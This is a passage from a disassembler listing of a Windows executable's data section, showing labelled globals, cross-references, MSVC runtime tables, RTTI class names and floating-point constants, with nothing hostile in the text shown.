sub_41B888+69o ... off_4397C4 dd offset off_4397C0 ; DATA XREF: sub_41B888:loc_41B908r ; sub_41B888+89w ... dd offset dword_4397D8 dd offset dword_4397D8 dword_4397D0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r ; sub_41B9CC:loc_41BA19w dd 0FFFFFFFFh dword_4397D8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:004397C8o ; ___:004397CCo off_43B7E0 dd offset off_4397C0 ; DATA XREF: sub_41B9CC+15r ; sub_41B9CC+20w ... dword_43B7E4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r ; sub_41944F+185r ... dword_43B7E8 dd 14h ; DATA XREF: sub_41C5B8+2o off_43B7EC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r ; "exp" dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h dd 23h, 424764h, 24h, 424760h dbl_43B8C0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r ; sub_41C2F3:loc_41C3DAr ... dd 0 dd 0FFF80000h dbl_43B8D0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r ; sub_41C2F3:loc_41C3B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43B8E8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr ; sub_41C7A0+1Fr align 4 tbyte_43B8F4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r align 10h off_43B900 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw ; sub_419E38+3AAr off_43B904 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w ; sub_419E38+3E2r off_43B908 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w ; sub_41D797+430r off_43B90C dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew ; sub_419E38+3CBr off_43B910 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w off_43B914 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w dd offset sub_42086E align 10h dd offset sub_41D4FC off_43B924 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r dword_43B928 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo dword_43B930 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo byte_43B938 db 1 ; DATA XREF: sub_41E92D+E1r db 2, 4, 8 align 10h dword_43B940 dd 3A4h ; DATA XREF: sub_41E92D+2Fo dword_43B944 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr dword_43B950 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43BA30 dd 1 ; DATA XREF: sub_41E92D+3Co ; sub_41EF44+Co dword_43BA34 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43BB98 dd 0C0000005h ; DATA XREF: sub_41EF44+19o ; sub_41F0EC+Ar ... dword_43BB9C dd 0Bh ; DATA XREF: sub_421D69+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43BC10 dd 3 ; DATA XREF: ___:0041F003r ; sub_421C3C+C8r dword_43BC14 dd 7 ; DATA XREF: ___:0041F009r ; sub_421C3C+CDr dword_43BC18 dd 0Ah ; DATA XREF: sub_41F0EC+4r ; sub_421D69+4r dword_43BC1C dd 8Ch ; DATA XREF: ___:0041F02Dr ; ___:0041F03Aw ... dword_43BC20 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o ; sub_41E248:loc_41E2C9o dword_43BC28 dd 2 ; DATA XREF: sub_41F885+Eo ; sub_41F885+28r off_43BC2C dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr ; sub_41F885+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h dd 0FFh, 4248F8h off_43BCB8 dd offset dword_48A320 ; DATA XREF: sub_41F885+1Bo ; sub_41FA42+55o align 10h dd offset dword_48A320 dd 101h dword_43BCC8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o dd 1000h, 0 dword_43BCD8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o ; sub_41A8A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43BCF8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o ; sub_41A8A2:loc_41A8C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43BD28 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo dword_43BF38 dd 2694h ; DATA XREF: sub_41BF55+3r ; sub_41BFA8+46r ... align 10h dword_43BF40 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo dword_43BF58 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o dword_43BF70 dd 7080h ; DATA XREF: sub_41D609+76r ; sub_42094E+5Ew ... dword_43BF74 dd 1 ; DATA XREF: sub_41D609+98r ; sub_42094E+8Bw ... dword_43BF78 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr ; sub_42094E+94w ... off_43BF7C dd offset dword_545350 ; DATA XREF: ___:off_43BFFCo dd 0Fh dup(0) off_43BFBC dd offset aJ_eKRnxDgZo ; DATA XREF: ___:off_43C000o ; "j_k/g:Zo" dd 0Fh dup(0) off_43BFFC dd offset off_43BF7C ; DATA XREF: sub_42094E+BAr ; sub_42094E+D9r ... off_43C000 dd offset off_43BFBC ; DATA XREF: sub_42094E+F4r ; sub_42094E+11Br ... align 8 dword_43C008 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw ; sub_420BAC+1Er ... dword_43C00C dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r ; sub_420D58+BFw dword_43C010 dd 0 ; DATA XREF: sub_420BAC+192r ; sub_420D58+E0w align 8 dword_43C018 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+17w ; sub_420BAC+26r ... dword_43C01C dd 0 ; DATA XREF: sub_420BAC+13Ar ; sub_420D58+EAw ... dword_43C020 dd 0 ; DATA XREF: sub_420BAC+1A1r ; sub_420D58+23r ... dword_43C024 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43C054 dd 16Dh ; DATA XREF: sub_41D609+2Ar ; sub_420D58+2Er ... dword_43C058 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43C090 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43C1F0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4220C1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43C34C dd offset off_424D00 ; DATA XREF: ___:00424EDCo ; ___:00424FC8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43C364 dd offset off_424D00 ; DATA XREF: ___:off_424D90o ; ___:00424DD0o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43C384 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o ; ___:00424E1Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 dd offset off_424D00 dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_43C3C8 dd offset off_424D00 ; DATA XREF: ___:00424EACo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42086E align 8 byte_43C3E8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_43C3EA dw 0 ; DATA XREF: sub_40144A+1E3w word_43C3EC dw 0 ; DATA XREF: sub_40144A+1E9w word_43C3EE dw 0 ; DATA XREF: sub_40144A+1F0w byte_43C3F0 db 0 ; DATA XREF: sub_40144A+1F7w byte_43C3F1 db 0 ; DATA XREF: sub_40144A+1FEw word_43C3F2 dw 0 ; DATA XREF: sub_40144A+204w dword_43C3F4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_43C3F8 dd 0 ; DATA XREF: sub_40144A+258w byte_43C3FC db 0 ; DATA XREF: sub_40144A+26Aw byte_43C3FD db 0 ; DATA XREF: sub_40144A+27Dw word_43C3FE dw 0 ; DATA XREF: sub_40144A+295w word_43C400 dw 0 ; DATA XREF: sub_40144A+2A4w word_43C402 dw 0 ; DATA XREF: sub_40144A+29Cw dword_43C404 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o dword_43C808 dd 0 ; DATA XREF: sub_4029E9+9Eo byte_43C80C db 0 ; DATA XREF: sub_4029E9+36r ; sub_402ACC+37r ... align 10h dword_43C810 dd 0 ; DATA XREF: sub_4030D1+10w ; sub_4030E8+30r ... dd 2 dup(0) dword_43C81C dd 2 dup(0) ; DATA XREF: sub_403EBA+68o dword_43C824 dd 0 ; DATA XREF: sub_40395A+13o ; sub_40EE72+610Do ... dword_43C828 dd 0 ; DATA XREF: sub_404853+8w ; ___:00404C22o align 10h dword_43C830 dd 2 dup(0) ; DATA XREF: ___:00404B58o dword_43C838 dd 0 ; DATA XREF: sub_4059DB+2Aw ; sub_4059DB+51r ... dword_43C83C dd 0 ; DATA XREF: sub_4030E8+AEr ; ___:004042D4r ... dd 2 dup(0) dword_43C848 dd 0 ; DATA XREF: sub_4071DB+18r ; sub_40762E+92w ... dword_43C84C dd 0 ; DATA XREF: sub_407767+4Dr ; sub_40797F+D9w ... dd 3E6h dup(0) dword_43D7E8 dd 6 dup(0) ; DATA XREF: sub_407767+D2o ; sub_407767+13Bo ... dword_43D800 dd 0 ; DATA XREF: sub_407252+82w ; sub_407252+102o dword_43D804 dd 41h dup(0) ; DATA XREF: sub_407252+41o dword_43D908 dd 41h dup(0) ; DATA XREF: sub_407252+63o dword_43DA0C dd 0 ; DATA XREF: sub_407252+F8w ; sub_407252+114r dword_43DA10 dd 0 ; DATA XREF: sub_407252+52w dword_43DA14 dd 0 ; DATA XREF: sub_407252+4Dw ; sub_407252+CFr dword_43DA18 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao ; sub_407252+BAo dword_43DA98 dd 0 ; DATA XREF: sub_407252+8Fw dword_43DA9C dd 0 ; DATA XREF: sub_407252+A7w ; sub_407252+C7w dword_43DAA0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr align 8 dword_43DAA8 dd 0 ; DATA XREF: sub_407252+2D5w ; sub_407252+32Eo dword_43DAAC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o dword_43DD34 dd 41h dup(0) ; DATA XREF: sub_407252+28Do dword_43DE38 dd 0 ; DATA XREF: sub_407252+2BAw ; sub_407252+2E1r align 10h dword_43DE40 dd 0 ; DATA XREF: sub_407252+324w ; sub_407252+340r dword_43DE44 dd 0 ; DATA XREF: sub_407252+2E7w dword_43DE48 dd 0 ; DATA XREF: sub_407252+2F4w dword_43DE4C dd 0 ; DATA XREF: sub_407252+2B4w dd 0 dword_43DE54 dd 0 ; DATA XREF: sub_407252:loc_4075A8r dword_43DE58 dd 0 ; DATA XREF: sub_407252+1A1w ; sub_407252+221o dword_43DE5C dd 41h dup(0) ; DATA XREF: sub_407252+163o dword_43DF60 dd 41h dup(0) ; DATA XREF: sub_407252+182o dword_43E064 dd 0 ; DATA XREF: sub_407252+217w ; sub_407252+233r dword_43E068 dd 0 ; DATA XREF: sub_407252+171w dword_43E06C dd 0 ; DATA XREF: sub_407252+1EEr dword_43E070 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o ; sub_407252+1D9o dword_43E0F0 dd 0 ; DATA XREF: sub_407252+1AEw dword_43E0F4 dd 0 ; DATA XREF: sub_407252+1C6w ; sub_407252+1E6w dword_43E0F8 dd 0 ; DATA XREF: sub_407252:loc_40749Cr align 10h dword_43E100 dd 0 ; DATA XREF: sub_4087EE+Fr ; sub_4089E7+12r align 8 dword_43E108 dd 80h dup(0) ; DATA XREF: sub_409706+41o dword_43E308 dd 200h dup(0) ; DATA XREF: sub_409037+C7o ; sub_409392+DDo ... dword_43EB08 dd 200h dup(0) ; DATA XREF: sub_409037+D6o ; sub_409392+F4o ... dword_43F308 dd 0 ; DATA XREF: sub_409037+86w ; sub_409209+94r dword_43F30C dd 0 ; DATA XREF: sub_409037+A7w ; sub_40966F+55r ... dword_43F310 dd 0 ; DATA XREF: sub_409037+A0w ; sub_409209+D6r ... dword_43F314 dd 0 ; DATA XREF: sub_409037+79w ; sub_409209+35r ... dword_43F318 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo dword_43F518 dd 0 ; DATA XREF: sub_409037+93w ; sub_409209+A2r align 10h dword_43F520 dd 0 ; DATA XREF: sub_409037+E7o ; sub_409037+103r ... dword_43F524 dd 0 ; DATA XREF: sub_409392+17Bw ; sub_409539+107w dword_43F528 dd 0 ; DATA XREF: sub_409392+180w ; sub_409539+10Dw ... dword_43F52C dd 0 ; DATA XREF: sub_409392+159w ; sub_40966F+4Fr dword_43F530 dd 0 ; DATA XREF: sub_4085B3+210r ; sub_4085B3+21Ar ... dword_43F534 dd 0 ; DATA XREF: sub_40981F+65w ; sub_41518A+F5r dword_43F538 dd 0 ; DATA XREF: sub_40981F+7EDw ; sub_40981F+862r ... dword_43F53C dd 0 ; DATA XREF: sub_40981F+9BAw ; sub_40981F+A18r ... dword_43F540 dd 0 ; DATA XREF: sub_40981F+96Cw ; sub_40981F+9E8r ... dword_43F544 dd 0 ; DATA XREF: sub_4085B3+D1r ; sub_40981F+46Fw ... dword_43F548 dd 0 ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43F54C dd 0 ; DATA XREF: sub_40981F+9ADw ; sub_40981F+A10r ... dword_43F550 dd 0 ; DATA XREF: sub_40981F+354w ; sub_40981F+3A9r ... dword_43F554 dd 0 ; DATA XREF: sub_40981F+3F1w ; sub_40B8D8+11Er dword_43F558 dd 0 ; DATA XREF: sub_40981F+361w ; sub_40981F+3B1r ... dword_43F55C dd 0 ; DATA XREF: sub_40981F+3A2w ; sub_40DCE6+ADr dword_43F560 dd 0 ; DATA XREF: sub_405AF2+115r ; sub_4084B3+7Dr ... dword_43F564 dd 0 ; DATA XREF: sub_40981F+72w ; sub_40981F+D2r ... dword_43F568 dd 0 ; DATA XREF: sub_40981F+95Fw ; sub_40981F+9DBr ... dword_43F56C dd 0 ; DATA XREF: sub_40981F+388w ; sub_40981F+3C9r ... dword_43F570 dd 0 ; DATA XREF: sub_40981F+83Bw ; sub_40981F+88Er ... dword_43F574 dd 0 ; DATA XREF: sub_408C26+58r ; sub_40981F+2A5w ... dword_43F578 dd 0 ; DATA XREF: sub_40981F+82Ew ; sub_40981F+886r ... dword_43F57C dd 0 ; DATA XREF: sub_40981F+B3w dword_43F580 dd 0 ; DATA XREF: sub_40981F+848w ; sub_40981F+896r ... dword_43F584 dd 0 ; DATA XREF: sub_407BDE+7Er ; sub_40981F+52Fw ... dword_43F588 dd 0 ; DATA XREF: sub_40981F+58w ; sub_40981F+CAr ... dword_43F58C dd 0 ; DATA XREF: sub_40981F+916w ; sub_40AF86+11Ar dword_43F590 dd 0 ; DATA XREF: sub_40981F+A66w ; sub_40981F+A6Dr ... dword_43F594 dd 0 ; DATA XREF: sub_40981F+A6w ; sub_40981F+F2r dword_43F598 dd 0 ; DATA XREF: sub_4085B3+119r ; sub_40981F+462w ... dword_43F59C dd 0 ; DATA XREF: sub_4075E6+20r ; sub_40981F+5D8w dword_43F5A0 dd 0 ; DATA XREF: sub_40981F+9A0w ; sub_40981F+A08r dword_43F5A4 dd 0 ; DATA XREF: sub_402688+280r ; sub_40981F+5CBw ... dword_43F5A8 dd 0 ; DATA XREF: sub_402ACC+9Ar ; sub_40981F+B21w dword_43F5AC dd 0 ; DATA XREF: sub_40981F+7E0w ; sub_40981F+84Fr ... dword_43F5B0 dd 0 ; DATA XREF: sub_40981F+1B3w ; sub_40AC20+15r dword_43F5B4 dd 0 ; DATA XREF: sub_40981F+979w ; sub_40981F+9F0r ... dword_43F5B8 dd 0 ; DATA XREF: sub_40981F+36Ew ; sub_40981F+3B9r ... dword_43F5BC dd 0 ; DATA XREF: sub_40981F+37Bw ; sub_40981F+3C1r ... dword_43F5C0 dd 0 ; DATA XREF: sub_4087EE+28r ; sub_4089E7+2Br ... dword_43F5C4 dd 0 ; DATA XREF: sub_40981F+68Ew ; ___:00415550r dword_43F5C8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_43F5CC dd 0 ; DATA XREF: sub_4085B3+207r ; sub_40981F+496w dword_43F5D0 dd 0 ; DATA XREF: sub_40981F+9C7w ; sub_40981F+A20r ... dword_43F5D4 dd 0 ; DATA XREF: sub_40981F+2B2w ; sub_40981F+2DEr ... dword_43F5D8 dd 0 ; DATA XREF: sub_40981F+7Fw ; sub_40981F+DAr ... dword_43F5DC dd 0 ; DATA XREF: sub_40981F+B6Ew ; sub_40981F+B75r ... dword_43F5E0 dd 0 ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_43F5E4 dd 0 ; DATA XREF: sub_40981F+807w ; sub_40981F+872r ... dword_43F5E8 dd 0 ; DATA XREF: sub_40981F+986w ; sub_40981F+9F8r dword_43F5EC dd 0 ; DATA XREF: sub_40981F+BDFw ; sub_40981F+C10r dword_43F5F0 dd 0 ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_43F5F4 dd 0 ; DATA XREF: sub_40981F+8FCw ; sub_40981F+910r ... dword_43F5F8 dd 0 ; DATA XREF: sub_40981F+BF9w dword_43F5FC dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_43F600 dd 0 ; DATA XREF: sub_40981F+821w ; sub_40981F+855r dword_43F604 dd 0 ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_43F608 dd 0 ; DATA XREF: sub_4087EE+3Fr ; sub_4087EE+69r ... dword_43F60C dd 0 ; DATA XREF: sub_40981F+65Aw ; sub_40981F+786r ... dword_43F610 dd 0 ; DATA XREF: sub_402DD7+20Ar ; sub_4030E8+5Er ... dword_43F614 dd 0 ; DATA XREF: sub_402688+16Er ; sub_40981F+549w ... dword_43F618 dd 0 ; DATA XREF: sub_40981F+8BDw ; sub_40981F:loc_40A0FAw ... dword_43F61C dd 0 ; DATA XREF: sub_40981F+28Bw ; sub_40981F+2C6r ... dword_43F620 dd 0 ; DATA XREF: ___:00407DFEr ; sub_40981F+681w ... dword_43F624 dd 0 ; DATA XREF: sub_40981F+30Fw ; sub_40981F+323r ... dword_43F628 dd 0 ; DATA XREF: sub_40981F+395w ; sub_40981F+3D1r ... dword_43F62C dd 0 ; DATA XREF: sub_40981F+BD2w ; sub_40981F+C08r dword_43F630 dd 0 ; DATA XREF: sub_40981F+7FAw ; sub_40981F+86Ar ... dword_43F634 dd 0 ; DATA XREF: sub_4023A7+FCr ; sub_40981F+206w ... dword_43F638 dd 0 ; DATA XREF: sub_40981F+18Cw ; sub_40981F+1D2r ... dword_43F63C dd 0 ; DATA XREF: sub_40981F+814w ; sub_40981F+87Ar ... dword_43F640 dd 0 ; DATA XREF: sub_406C19+244r ; sub_40981F+606w ... dword_43F644 dd 0 ; DATA XREF: sub_408C26+18Ar ; sub_40981F+2BFw ... dword_43F648 dd 0 ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43F64C dd 0 ; DATA XREF: sub_40981F+302w ; sub_40981F+316r ... dword_43F650 dd 0 ; DATA XREF: sub_405AF2+F9r ; sub_406C19+1FCr ... dword_43F654 dd 0 ; DATA XREF: sub_4085B3+16r ; sub_40981F+42Ew ... dword_43F658 dd 0 ; DATA XREF: sub_40981F+199w ; sub_40981F+1DAr ... dword_43F65C dd 0 ; DATA XREF: sub_40981F+347w ; sub_40981F+39Cr ... dword_43F660 dd 0 ; DATA XREF: sub_40981F+A73w dword_43F664 dd 0 ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_43F668 dd 0 ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43F66C dd 0 ; DATA XREF: sub_40981F+4Bw ; sub_40981F+C2r ... dword_43F670 dd 0 ; DATA XREF: sub_4085B3+2Cr ; sub_4085B3+38r ... dword_43F674 dd 0 ; DATA XREF: sub_40981F+165w ; sub_40981F+1BAr ... dword_43F678 dd 0 ; DATA XREF: sub_40981F+9E1w ; sub_40E5EB+72r dword_43F67C dd 0 ; DATA XREF: sub_40981F+667w ; sub_40981F+78Er dword_43F680 dd 0 ; DATA XREF: sub_402688+205r ; sub_402DD7+23Br ... dword_43F684 dd 0 ; DATA XREF: sub_40981F+BECw ; sub_40981F+C18r dword_43F688 dd 0 ; DATA XREF: sub_40981F+3Ew ; sub_40981F+BAr ... dword_43F68C dd 0 ; DATA XREF: sub_40981F+298w ; sub_40981F+2CEr ... dword_43F690 dd 0 ; DATA XREF: sub_405AF2+9Er ; sub_407BDE+9Cr ... dword_43F694 dd 0 ; DATA XREF: sub_402688+EBr ; sub_405AF2+89r ... dword_43F698 dd 0 ; DATA XREF: sub_40981F+C63w ; sub_40EE72+4626r dword_43F69C dd 0 ; DATA XREF: sub_40981F+85Bw ; sub_40BC4B+205r ... dword_43F6A0 dd 0 ; DATA XREF: sub_40981F+112w dword_43F6A4 dd 0 ; DATA XREF: sub_40981F+BB8w ; sub_40981F+BF3r dword_43F6A8 dd 0 ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_43F6AC dd 0 ; DATA XREF: sub_4085B3+BCr ; sub_40981F+43Bw ... dword_43F6B0 dd 0 ; DATA XREF: sub_4085B3+FBr ; sub_40981F+47Cw ... dword_43F6B4 dd 0 ; DATA XREF: sub_4085B3+65r ; sub_40981F+448w ... dword_43F6B8 dd 0 ; DATA XREF: sub_402DD7+221r ; sub_402DD7+249r ... dword_43F6BC dd 0 ; DATA XREF: sub_40981F+1A6w ; sub_40981F+1E2r ... dword_43F6C0 dd 0 ; DATA XREF: sub_40981F+9D4w ; sub_40981F+A28r ... dword_43F6C4 dd 0 ; DATA XREF: sub_4087EE+53r ; sub_4087EE+7Fr ... dword_43F6C8 dd 0 ; DATA XREF: sub_40981F+8Cw ; sub_40981F+E2r ... dword_43F6CC dd 0 ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_43F6D0 dd 0 ; DATA XREF: sub_40981F+B14w ; sub_40981F+B30r dword_43F6D4 dd 0 ; DATA XREF: sub_40981F+31Cw ; sub_41511F+55r dword_43F6D8 dd 0 ; DATA XREF: sub_408C26+3Fr ; sub_40981F+27Ew ... dword_43F6DC dd 0 ; DATA XREF: sub_40981F+B7Bw dword_43F6E0 dd 0 ; DATA XREF: sub_40981F+ABDw ; sub_40AE02+CEr dword_43F6E4 dd 0 ; DATA XREF: sub_40981F+AB0w ; sub_40981F+AB7r ... dword_43F6E8 dd 0 ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_43F6EC dd 0 ; DATA XREF: ___:00407DEEr ; sub_40981F+674w ... dword_43F6F0 dd 0 ; DATA XREF: sub_40981F+BC5w ; sub_40981F+C00r dword_43F6F4 dd 0 ; DATA XREF: sub_402688+28Dr ; sub_406C19+250r ... dword_43F6F8 dd 0 ; DATA XREF: sub_40981F+993w ; sub_40981F+A00r ... dword_43F6FC dd 0 ; DATA XREF: sub_405AF2+13Ar ; sub_407BDE+B3r ... dword_43F700 dd 0 ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_43F704 dd 0 ; DATA XREF: sub_405AF2+B7r ; sub_405AF2+39Fr ... dword_43F708 dd 0 ; DATA XREF: sub_4029E9+B0r ; sub_4029E9+C8r ... dword_43F70C dd 0 ; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_43F710 dd 0 ; DATA XREF: sub_40981F+AFAw ; sub_40981F+B1Br dword_43F714 dd 0 ; DATA XREF: sub_40981F+31w ; sub_40981F+ADr ... dword_43F718 dd 0 ; DATA XREF: sub_4087EE+1ECr ; 